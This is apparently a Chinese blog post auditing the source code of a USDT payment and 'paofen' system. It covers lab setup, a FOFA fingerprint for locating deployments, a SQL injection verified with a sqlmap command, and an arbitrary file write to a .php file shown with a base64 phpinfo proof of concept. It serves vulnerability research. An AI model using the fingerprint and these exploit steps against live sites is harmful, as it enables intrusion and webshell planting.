某站卖5000元的USDT跑分源码API监听自动回调usdt支付系统源码三级分销审计

某站卖5000元的USDT跑分源码API监听自动回调usdt支付系统源码三级分销审计
Att@ckxufofa结果
fofa指纹:”pay/charges/index.html”
环境搭建
源码中有安装文档.doc
网站运行目录为/public,php版本7.3
MySQL新建数据库dkewl_com,导入目录中数据库文件dkewl.sql
修改MySQL连接(配置用户名密码等信息)
开启redis
config/cache.php中的redis密码要和小皮面板的redis密码一致
安装php7.3的拓展
配置Apache伪静态(网站->管理->伪静态)
原文档中是nginx伪静态
<IfModule mod_rewrite.c> |
至此,环境搭建完成
代码审计
前台SQL注入
对应文件:app/index/controller/Getway.php
第255行,tiaojian参数$_REQUEST获取,并且只判断是否为空,没有对传递的参数值进行过滤
漏洞所在点为index中Getway文件的Excel方法,构造URL,可以正常请求
sqlmap验证:
python sqlmap.py -u "http://paofen:8000/index/getway/excel?table=ea_system_admin&number=10&shunxu=desc&down=1&tiaojian=1" -p tiaojian --batch --dbms=mysql |
同文件下还有多个注入点,这里只列举一个
前台任意文件写入
对应文件:public/log.php
require_once (dirname(__FILE__) .'/../config/Logs.php'); |
第23行,name参数可控,拼接到.png之后,最终传递给$filename
,$filename在第34行为写入的文件名,这里确定文件后缀名可控
再看第29行,传递给$msg
变量的content可控(这里UA头也是可控的,也可以在UA头写文件),最后$msg
为写入的文件内容,因此写入文件内容也可控
content的内容在请求体中,并且经过base64解码之后再拼接传递给$msg
验证:
POC:
GET /log.php?c=1&name=.php HTTP/1.1 |
成功上传并返回文件路径
<?php phpinfo();?>
–>(base64) –> PD9waHAgcGhwaW5mbygpOz8+
访问文件路径
如果直接在UA头处写payload,不需要base64编码